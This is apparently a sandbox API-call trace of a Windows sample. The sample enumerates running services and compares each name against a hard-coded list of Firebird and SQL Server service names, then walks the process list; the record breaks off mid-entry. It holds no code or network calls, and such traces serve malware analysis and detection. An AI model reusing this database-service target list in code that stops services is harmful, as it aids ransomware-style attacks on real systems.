EnumServicesStatusExW (in: hSCManager=0x7bd558, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x37b20c0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x37b20c0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0303.175] CloseServiceHandle (hSCObject=0x7bd558) returned 1 [0303.175] lstrlenW (lpString="Appinfo") returned 7 [0303.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0303.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0303.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0303.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0303.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0303.175] lstrlenW (lpString="AppXSvc") returned 7 [0303.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0303.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0303.175] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0303.175] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0303.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0303.175] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0303.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0303.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0303.175] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0303.175] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0303.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0303.175] lstrlenW (lpString="Audiosrv") returned 8 [0303.175] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0303.175] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0303.175] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0303.175] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0303.175] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0303.175] lstrlenW (lpString="BFE") returned 3 [0303.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0303.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0303.176] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0303.176] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0303.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0303.176] lstrlenW (lpString="BITS") returned 4 [0303.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0303.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0303.176] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0303.176] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0303.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0303.176] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0303.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0303.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0303.176] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0303.176] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0303.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0303.176] lstrlenW (lpString="CDPSvc") returned 6 [0303.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0303.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0303.176] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0303.176] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0303.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0303.176] lstrlenW (lpString="ClickToRunSvc") returned 13 [0303.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0303.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0303.176] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0303.176] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0303.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0303.176] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0303.176] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0303.176] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0303.176] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0303.176] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0303.176] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0303.176] lstrlenW (lpString="CryptSvc") returned 8 [0303.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0303.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0303.177] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0303.177] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0303.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0303.177] lstrlenW (lpString="DcomLaunch") returned 10 [0303.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0303.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0303.177] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0303.177] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0303.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0303.177] lstrlenW (lpString="DeviceAssociationService") returned 24 [0303.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0303.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0303.177] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0303.177] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0303.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0303.177] lstrlenW (lpString="Dhcp") returned 4 [0303.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0303.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0303.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0303.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0303.177] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0303.177] lstrlenW (lpString="Dnscache") returned 8 [0303.177] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0303.177] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0303.177] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0303.177] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0303.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0303.178] lstrlenW (lpString="DPS") returned 3 [0303.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0303.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0303.178] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0303.178] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0303.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0303.178] lstrlenW (lpString="DusmSvc") returned 7 [0303.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0303.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0303.178] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0303.178] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0303.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0303.178] lstrlenW (lpString="EventLog") returned 8 [0303.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0303.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0303.178] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0303.178] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0303.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0303.178] lstrlenW (lpString="EventSystem") returned 11 [0303.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0303.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0303.178] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0303.178] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0303.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0303.178] lstrlenW (lpString="FontCache") returned 9 [0303.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0303.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0303.178] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0303.178] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0303.178] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0303.178] lstrlenW (lpString="gpsvc") returned 5 [0303.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0303.179] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0303.179] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0303.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0303.179] lstrlenW (lpString="iphlpsvc") returned 8 [0303.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0303.179] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0303.179] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0303.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0303.179] lstrlenW (lpString="KeyIso") returned 6 [0303.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0303.179] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0303.179] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0303.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0303.179] lstrlenW (lpString="LanmanServer") returned 12 [0303.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0303.179] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0303.179] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0303.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0303.179] lstrlenW (lpString="LanmanWorkstation") returned 17 [0303.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0303.179] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0303.179] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0303.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0303.179] lstrlenW (lpString="lfsvc") returned 5 [0303.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0303.179] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0303.179] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0303.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0303.179] lstrlenW (lpString="lmhosts") returned 7 [0303.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0303.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0303.180] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0303.180] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0303.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0303.180] lstrlenW (lpString="LSM") returned 3 [0303.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0303.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0303.180] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0303.180] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0303.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0303.180] lstrlenW (lpString="MpsSvc") returned 6 [0303.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0303.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0303.180] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0303.180] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0303.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0303.180] lstrlenW (lpString="NcbService") returned 10 [0303.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0303.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0303.180] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0303.180] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0303.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0303.180] lstrlenW (lpString="netprofm") returned 8 [0303.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0303.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0303.180] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0303.180] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0303.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0303.180] lstrlenW (lpString="NgcSvc") returned 6 [0303.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0303.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0303.180] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0303.180] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0303.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0303.180] lstrlenW (lpString="NlaSvc") returned 6 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0303.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0303.181] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0303.181] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0303.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0303.181] lstrlenW (lpString="nsi") returned 3 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0303.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0303.181] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0303.181] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0303.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0303.181] lstrlenW (lpString="PcaSvc") returned 6 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0303.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0303.181] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0303.181] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0303.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0303.181] lstrlenW (lpString="PlugPlay") returned 8 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0303.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0303.181] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0303.181] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0303.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0303.181] lstrlenW (lpString="Power") returned 5 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0303.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0303.181] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0303.181] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0303.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0303.181] lstrlenW (lpString="ProfSvc") returned 7 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0303.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0303.181] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0303.181] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0303.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0303.181] lstrlenW (lpString="RpcEptMapper") returned 12 [0303.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0303.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0303.182] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0303.182] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0303.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0303.182] lstrlenW (lpString="RpcSs") returned 5 [0303.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0303.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0303.182] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0303.182] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0303.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0303.182] lstrlenW (lpString="SamSs") returned 5 [0303.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0303.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0303.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0303.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0303.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0303.182] lstrlenW (lpString="Schedule") returned 8 [0303.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0303.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0303.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0303.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0303.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0303.182] lstrlenW (lpString="SecurityHealthService") returned 21 [0303.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0303.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0303.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0303.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0303.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0303.182] lstrlenW (lpString="SENS") returned 4 [0303.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0303.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0303.182] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0303.182] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0303.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0303.184] lstrlenW (lpString="ShellHWDetection") returned 16 [0303.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0303.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0303.184] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0303.184] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0303.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0303.184] lstrlenW (lpString="Spooler") returned 7 [0303.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0303.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0303.184] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0303.184] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0303.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0303.184] lstrlenW (lpString="SSDPSRV") returned 7 [0303.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0303.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0303.184] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0303.184] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0303.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0303.184] lstrlenW (lpString="StateRepository") returned 15 [0303.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0303.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0303.184] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0303.184] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0303.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0303.184] lstrlenW (lpString="SysMain") returned 7 [0303.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0303.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0303.185] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0303.185] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0303.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0303.185] lstrlenW (lpString="SystemEventsBroker") returned 18 [0303.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0303.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0303.185] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0303.185] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0303.185] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10b0 [0303.188] Process32FirstW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0303.189] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0303.190] lstrlenW (lpString="System") returned 6 [0303.190] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0303.191] lstrlenW (lpString="smss.exe") returned 8 [0303.191] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.192] lstrlenW (lpString="csrss.exe") returned 9 [0303.192] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0303.192] lstrlenW (lpString="wininit.exe") returned 11 [0303.192] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0303.193] lstrlenW (lpString="csrss.exe") returned 9 [0303.193] Process32NextW (in: hSnapshot=0x10b0, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, 